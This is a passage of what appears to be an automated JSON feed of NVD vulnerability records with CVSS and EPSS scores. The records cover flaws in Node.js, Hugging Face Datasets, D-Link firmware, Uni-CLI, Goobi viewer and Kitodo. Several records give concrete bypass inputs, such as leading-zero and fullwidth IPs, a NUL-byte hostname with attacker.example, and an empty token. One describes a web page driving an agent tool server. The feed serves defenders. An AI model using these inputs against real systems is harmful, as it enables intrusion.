CVE-2026-115810","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115810","type":"primary","publishedAt":"2026-10-23T17:17:21.380Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115810&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115810, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106069","cveId":"CVE-2026-106069","aliases":[],"kind":"vulnerability","title":"A flaw in Node.js TLS hostname verification can cause a server certificate to be validated against a different IP address than the one the client connected to, when the host is a...","summary":"A flaw in Node.js TLS hostname verification can cause a server certificate to be validated against a different IP address than the one the client connected to, when the host is a non-canonical IPv4 literal with a leading zero, such as `0127.0.0.1`.\n\n`tls.checkServerIdentity()` normalizes the host following the WHATWG URL rules, which read a leading-zero octet as octal (`0127.0.0.1` becomes `87.0.0.1`), while the connection is made through the operating system resolver, which on some platforms such as macOS reads it as decimal (`127.0.0.1`). A server at the connected address can then be authenticated with a certificate issued for another IP address.\n\nThis vulnerability affects Node.js **26.x**, **24.x**, and **22.x**.","detail":"A flaw in Node.js TLS hostname verification can cause a server certificate to be validated against a different IP address than the one the client connected to, when the host is a non-canonical IPv4 literal with a leading zero, such as `0127.0.0.1`.\n\n`tls.checkServerIdentity()` normalizes the host following the WHATWG URL rules, which read a leading-zero octet as octal (`0127.0.0.1` becomes `87.0.0.1`), while the connection is made through the operating system resolver, which on some platforms such as macOS reads it as decimal (`127.0.0.1`). A server at the connected address can then be authenticated with a certificate issued for another IP address.\n\nThis vulnerability affects Node.js **26.x**, **24.x**, and **22.x**.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T17:17:19.740Z","updatedAt":"2026-10-23T19:42:24.553Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Node.js"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.0","vector":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106069","asOf":"2026-10-23T19:42:24.553Z"},"epss":{"probability":0.00275,"percentile":0.19771,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106069&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106069","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106069","type":"primary","publishedAt":"2026-10-23T17:17:19.740Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106069&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106069, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105483","cveId":"CVE-2026-105483","aliases":[],"kind":"vulnerability","title":"A flaw in Node.js TLS hostname verification allows a certificate without a matching IP address SAN to authenticate a connection to an IPv4 address when the host is written with...","summary":"A flaw in Node.js TLS hostname verification allows a certificate without a matching IP address SAN to authenticate a connection to an IPv4 address when the host is written with non-ASCII characters, such as fullwidth digits (`１２７.0.0.1`).\n\n`tls.checkServerIdentity()` did not recognize such hosts as IP addresses, even though they normalize and resolve to a regular IPv4 address, and matched them against the certificate DNS names and Common Name instead. A certificate containing `DNS:127.0.0.1` or `DNS:*.0.0.1` could therefore be accepted for an IP endpoint it was not issued for. This is a regression introduced after the fix for CVE-2026-48618.\n\nThis vulnerability affects Node.js **26.x** and **24.x**.","detail":"A flaw in Node.js TLS hostname verification allows a certificate without a matching IP address SAN to authenticate a connection to an IPv4 address when the host is written with non-ASCII characters, such as fullwidth digits (`１２７.0.0.1`).\n\n`tls.checkServerIdentity()` did not recognize such hosts as IP addresses, even though they normalize and resolve to a regular IPv4 address, and matched them against the certificate DNS names and Common Name instead. A certificate containing `DNS:127.0.0.1` or `DNS:*.0.0.1` could therefore be accepted for an IP endpoint it was not issued for. This is a regression introduced after the fix for CVE-2026-48618.\n\nThis vulnerability affects Node.js **26.x** and **24.x**.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T17:17:19.573Z","updatedAt":"2026-10-23T19:42:24.553Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Node.js"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.0","vector":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105483","asOf":"2026-10-23T19:42:24.553Z"},"epss":{"probability":0.00275,"percentile":0.19771,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105483&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105483","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105483","type":"primary","publishedAt":"2026-10-23T17:17:19.573Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105483&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105483, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105482","cveId":"CVE-2026-105482","aliases":[],"kind":"vulnerability","title":"A flaw in Node.js DNS resolution allows hostnames containing a NUL byte to be silently truncated by the dns.resolve*() functions and dns.reverse().","summary":"A flaw in Node.js DNS resolution allows hostnames containing a NUL byte to be silently truncated by the dns.resolve*() functions and dns.reverse(). This is an incomplete fix of CVE-2026-48930, which only covered dns.lookup() and the net/tls host options.\r\n\r\nBecause the name is passed to c-ares as a C string, resolving attacker.example\\0.trusted.example queries attacker.example and returns its records without any error. Applications that validate a hostname, for example against a domain allowlist, and then resolve it with dns.resolve*() can act on records for a different name than the one they validated.\r\n\r\nThis vulnerability affects Node.js 26.x, 24.x, and 22.x.","detail":"A flaw in Node.js DNS resolution allows hostnames containing a NUL byte to be silently truncated by the dns.resolve*() functions and dns.reverse(). This is an incomplete fix of CVE-2026-48930, which only covered dns.lookup() and the net/tls host options.\r\n\r\nBecause the name is passed to c-ares as a C string, resolving attacker.example\\0.trusted.example queries attacker.example and returns its records without any error. Applications that validate a hostname, for example against a domain allowlist, and then resolve it with dns.resolve*() can act on records for a different name than the one they validated.\r\n\r\nThis vulnerability affects Node.js 26.x, 24.x, and 22.x.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T17:17:19.427Z","updatedAt":"2026-10-23T19:42:24.553Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Node.js"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.0","vector":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105482","asOf":"2026-10-23T19:42:24.553Z"},"epss":{"probability":0.00424,"percentile":0.36392,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105482&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105482","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105482","type":"primary","publishedAt":"2026-10-23T17:17:19.427Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105482&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105482, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-57845","cveId":"CVE-2026-57845","aliases":[],"kind":"vulnerability","title":"Hugging Face Datasets through 5.1.0 contains an insecure deserialization vulnerability that allows attackers to execute arbitrary Python code by crafting a malicious pickle file...","summary":"Hugging Face Datasets through 5.1.0 contains an insecure deserialization vulnerability that allows attackers to execute arbitrary Python code by crafting a malicious pickle file loaded through the deprecated pandas packaged builder. Attackers can supply a pickle-backed dataset that is processed by Pandas._generate_tables via pandas.read_pickle() without validation, so when a victim calls datasets.load_dataset(\"pandas\", data_files=...), the embedded __reduce__ payload executes code with the victim process's privileges.","detail":"Hugging Face Datasets through 5.1.0 contains an insecure deserialization vulnerability that allows attackers to execute arbitrary Python code by crafting a malicious pickle file loaded through the deprecated pandas packaged builder. Attackers can supply a pickle-backed dataset that is processed by Pandas._generate_tables via pandas.read_pickle() without validation, so when a victim calls datasets.load_dataset(\"pandas\", data_files=...), the embedded __reduce__ payload executes code with the victim process's privileges.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T16:16:52.000Z","updatedAt":"2026-10-23T19:45:03.547Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-57845","asOf":"2026-10-23T19:45:03.547Z"},"epss":{"probability":0.00547,"percentile":0.45583,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-57845&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-57845","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57845","type":"primary","publishedAt":"2026-10-23T16:16:52.000Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-57845&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-57845, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-52356","cveId":"CVE-2026-52356","aliases":[],"kind":"vulnerability","title":"An OS command injection vulnerability in the /htdocs/web/diagnostic.php endpoint of D-Link DAP1160L A1_FW101WWb04 allows attackers to execute arbitrary commands via injecting...","summary":"An OS command injection vulnerability in the /htdocs/web/diagnostic.php endpoint of D-Link DAP1160L A1_FW101WWb04 allows attackers to execute arbitrary commands via injecting arbitrary shell metacharacters.","detail":"An OS command injection vulnerability in the /htdocs/web/diagnostic.php endpoint of D-Link DAP1160L A1_FW101WWb04 allows attackers to execute arbitrary commands via injecting arbitrary shell metacharacters.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T16:16:51.870Z","updatedAt":"2026-10-26T16:17:20.880Z","regions":["Global"],"vendor":null,"product":null,"stacks":["D-Link"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-52356","asOf":"2026-10-26T16:17:20.880Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-52356","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-52356","type":"primary","publishedAt":"2026-10-23T16:16:51.870Z","checkedAt":"2026-10-26T17:20:56.094Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:20:56.094Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-50787","cveId":"CVE-2026-50787","aliases":[],"kind":"vulnerability","title":"e-SIC Livre (esiclivre) v0.2.2 and earlier contains an uncontrolled resource consumption vulnerability in restrito/inc/captcha.php.","summary":"e-SIC Livre (esiclivre) v0.2.2 and earlier contains an uncontrolled resource consumption vulnerability in restrito/inc/captcha.php. The application uses user-supplied parameters (l, a, tf, ql) without validation to generate CAPTCHA images, allowing remote attackers to cause denial of service via excessive memory and CPU consumption.","detail":"e-SIC Livre (esiclivre) v0.2.2 and earlier contains an uncontrolled resource consumption vulnerability in restrito/inc/captcha.php. The application uses user-supplied parameters (l, a, tf, ql) without validation to generate CAPTCHA images, allowing remote attackers to cause denial of service via excessive memory and CPU consumption.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T16:16:51.733Z","updatedAt":"2026-10-26T18:17:48.850Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-50787","asOf":"2026-10-26T18:17:48.850Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-50787","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-50787","type":"primary","publishedAt":"2026-10-23T16:16:51.733Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-58497","cveId":"CVE-2026-58497","aliases":[],"kind":"vulnerability","title":"Uni-CLI gives people and agents one command interface for websites, browsers, desktop applications, local tools, and MCP.","summary":"Uni-CLI gives people and agents one command interface for websites, browsers, desktop applications, local tools, and MCP. Prior to version 0.225.2, Uni-CLI exposed the legacy JSON-RPC-over-HTTP MCP transport on loopback without validating browser Origin headers before routing requests. A malicious web page could send a CORS simple POST request, such as text/plain, to the local /mcp endpoint and deliver a JSON-RPC body to the dispatcher. If the user had started the local MCP HTTP transport, that page could drive tools/call requests against the user's local Uni-CLI server. The Streamable HTTP transport already enforced this browser-to-localhost boundary. The legacy stateless HTTP path did not, so the two HTTP transports had drifted. This issue is about the browser-to-localhost boundary; it does not change Uni-CLI's local-code-execution trust model. This issue has been patched in version 0.225.2.","detail":"Uni-CLI gives people and agents one command interface for websites, browsers, desktop applications, local tools, and MCP. Prior to version 0.225.2, Uni-CLI exposed the legacy JSON-RPC-over-HTTP MCP transport on loopback without validating browser Origin headers before routing requests. A malicious web page could send a CORS simple POST request, such as text/plain, to the local /mcp endpoint and deliver a JSON-RPC body to the dispatcher. If the user had started the local MCP HTTP transport, that page could drive tools/call requests against the user's local Uni-CLI server. The Streamable HTTP transport already enforced this browser-to-localhost boundary. The legacy stateless HTTP path did not, so the two HTTP transports had drifted. This issue is about the browser-to-localhost boundary; it does not change Uni-CLI's local-code-execution trust model. This issue has been patched in version 0.225.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T15:17:34.257Z","updatedAt":"2026-10-23T21:17:24.620Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-58497","asOf":"2026-10-23T21:17:24.620Z"},"epss":{"probability":0.00255,"percentile":0.16963,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-58497&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-58497","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-58497","type":"primary","publishedAt":"2026-10-23T15:17:34.257Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-58497&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-58497, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55459","cveId":"CVE-2026-55459","aliases":[],"kind":"vulnerability","title":"The Goobi viewer is a web application that allows digitised material to be displayed in a web browser.","summary":"The Goobi viewer is a web application that allows digitised material to be displayed in a web browser. From version 25.01 to before version 26.05, AuthenticationEndpoint.verifyOpenIdToken builds its verifier as JWT.require(algorithm).withIssuer(issuer).build() and does not enforce the aud claim during cryptographic validation. The aud check is performed manually afterwards via a single string-equality call, which only handles single-string aud values. In a multi-RP IdP setup, a token whose single-string aud matches the viewer's client ID but was issued for a different relying party passes the check and authenticates the attacker as the token's sub. This issue has been patched in version 26.05.","detail":"The Goobi viewer is a web application that allows digitised material to be displayed in a web browser. From version 25.01 to before version 26.05, AuthenticationEndpoint.verifyOpenIdToken builds its verifier as JWT.require(algorithm).withIssuer(issuer).build() and does not enforce the aud claim during cryptographic validation. The aud check is performed manually afterwards via a single string-equality call, which only handles single-string aud values. In a multi-RP IdP setup, a token whose single-string aud matches the viewer's client ID but was issued for a different relying party passes the check and authenticates the attacker as the token's sub. This issue has been patched in version 26.05.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T15:17:33.207Z","updatedAt":"2026-10-23T16:28:32.357Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55459","asOf":"2026-10-23T16:28:32.357Z"},"epss":{"probability":0.00205,"percentile":0.10318,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55459&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-55459","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55459","type":"primary","publishedAt":"2026-10-23T15:17:33.207Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55459&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55459, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55457","cveId":"CVE-2026-55457","aliases":[],"kind":"vulnerability","title":"The Goobi viewer is a web application that allows digitised material to be displayed in a web browser.","summary":"The Goobi viewer is a web application that allows digitised material to be displayed in a web browser. Prior to version 26.05, Configuration.getWebApiToken returns the empty string when webapi.authorization.token is not configured. AuthorizationFilter compares the supplied token against this default without first checking that the configured token is non-empty. A request to any @AuthorizationBinding-protected endpoint with an empty ?token= value is therefore accepted. This issue has been patched in version 26.05.","detail":"The Goobi viewer is a web application that allows digitised material to be displayed in a web browser. Prior to version 26.05, Configuration.getWebApiToken returns the empty string when webapi.authorization.token is not configured. AuthorizationFilter compares the supplied token against this default without first checking that the configured token is non-empty. A request to any @AuthorizationBinding-protected endpoint with an empty ?token= value is therefore accepted. This issue has been patched in version 26.05.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T15:17:33.060Z","updatedAt":"2026-10-23T16:28:32.357Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55457","asOf":"2026-10-23T16:28:32.357Z"},"epss":{"probability":0.00274,"percentile":0.19653,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55457&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-55457","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55457","type":"primary","publishedAt":"2026-10-23T15:17:33.060Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55457&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55457, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-54668","cveId":"CVE-2026-54668","aliases":[],"kind":"vulnerability","title":"Kitodo.Production is a workflow management tool for mass digitization and is part of the Kitodo Digital Library Suite.","summary":"Kitodo.Production is a workflow management tool for mass digitization and is part of the Kitodo Digital Library Suite. Prior to version 3.9.2, org.kitodo.production.helper.XMLUtils exposes several XML parsing helpers that construct a JAXP parser with the default, non-secure configuration. The methods parseXMLString(String), getNumberOfEADElements(String, String) and checkIfXmlIsWellFormed(String) build a DocumentBuilderFactory / XMLInputFactory / SAXParserFactory via newInstance() and parse the attacker-supplied string without disabling DOCTYPE declarations or external entity resolution. These helpers sit directly on the EAD-import path: an authenticated user who uploads an EAD/XML file through the \"Create process\" file-upload dialog has the uploaded bytes parsed by these methods. A crafted document with an external entity therefore yields XML External Entity (XXE) injection: local file disclosure and outbound SSRF requests from the server. This issue has been patched in version 3.9.2.","detail":"Kitodo.Production is a workflow management tool for mass digitization and is part of the Kitodo Digital Library Suite. Prior to version 3.9.2, org.kitodo.production.helper.XMLUtils exposes several XML parsing helpers that construct a JAXP parser with the default, non-secure configuration. The methods parseXMLString(String), getNumberOfEADElements(String, String) and checkIfXmlIsWellFormed(String) build a DocumentBuilderFactory / XMLInputFactory / SAXParserFactory via newInstance() and parse the attacker-supplied string without disabling DOCTYPE declarations or external entity resolution. These helpers sit directly on the EAD-import path: an authenticated user who uploads an EAD/XML file through the \"Create process\" file-upload dialog has the uploaded bytes parsed by these methods. A crafted document with an external entity therefore yields XML External Entity (XXE) injection: local file disclosure and outbound SSRF requests from the server. This issue has been patched in version 